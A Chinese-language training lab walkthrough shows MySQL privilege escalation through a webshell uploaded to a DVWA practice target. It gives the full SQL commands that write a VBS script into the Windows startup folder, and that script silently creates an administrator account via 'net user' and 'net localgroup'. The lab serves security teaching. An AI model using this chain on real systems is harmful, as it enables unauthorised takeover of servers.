Mysql提权-基于Mysql的webshell提权


实验声明:本实验教程仅供研究学习使用,请勿用于非法用途,违者一律自行承担所有风险!

基于Mysql的webshell提权

【实验目的】

??通过本实验理解webshell的使用方法,掌握如何通过webshell执行sql命令进行提权,熟悉基本的webshell提权思路。

【实验环境】

攻击机:Win2008-att
用户名college,密码360College
使用的webshell文件:dama.php

目标靶机:Win2003-DVWA
用户名college,密码360College

【实验步骤】

??1.在靶机Win2003-DVWA上,启动phpstudy,开启漏洞环境。

??2.在攻击机上,启动Firefox浏览器,登录靶机上的DVWA网站。

网站的URL为:http://【靶机IP地址】/dvwa

登录用户名为admin,密码为password

??3.成功登录DVWA网站后,选择网站左侧菜单“DVWA Security”,将DVWA网站安全等级设置为“Low”。

??4.选择网站左侧菜单“File Upload”,将攻击机Win2008-att桌面文件夹Tools中的dama.php(实验中所用的webshell)上传至靶机。

??5.dama.php上传成功后,在攻击机浏览的地址栏中输入如下URL连接dama.php:

http://【靶机IP地址】/dvwa/hackable/uploads/dama.php

出现登录提示框时,输入密码hucyuansheng登录。

??6.成功登录dama.php后,选择左侧菜单“提权工具”->“MySQL操作”,输入MySQL数据库的登录密码root,以root用户权限登录。

??7.选择数据库test,并执行如下操作:

??(1)利用如下命令在test下创建一个新的表a:

create table a(cmd text);

??该数据表表名为a,表中只存放一个字段,字段名为cmd,为text文本。

??(2)利用如下命令在表a中插入内容:

insert into a values("set wshshell=createobject (""wscript.shell"")");

insert into a values("a=wshshell.run(""cmd.exe /c net user 1 1 /add"",0)");

insert into a values("b=wshshell.run(""cmd.exe /c net localgroup administrators 1 /add"",0)");

??注意双引号和括号以及后面的"0"一定要输入!将用这三条命令来建立一个vbs脚本程序!后面的"0"表示不弹出CMD窗口,安静地运行。

??上述三条命令执行成功后,可以看到如下图所示的结果,表a中已保存了相应的内容。也可以通过执行如下命令查看表a中的内容:

select * from a;

??(3)利用如下命令创建一个vbs脚本程序,并将其输出至靶机操作系统的开始启动项中:

select * from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs";

??8.在靶机上验证攻击效果。

??(1)点击“开始”菜单->“启动”,会发现启动项中有一个a.vbs的脚本程序;

??(2)重启靶机后,在cmd下输入net user命令,会看到靶机操作系统中被添加了一个用户“1”。

??实验至此结束。

思考与总结

??通过本次实验成功实现了基于webshell执行mysql命令来写入一个自启动功能的vbs脚本,掌握了基于webshell进行提权的方法,能够结合操作系统安全策略,配置数据库和操作系统的各项访问权限。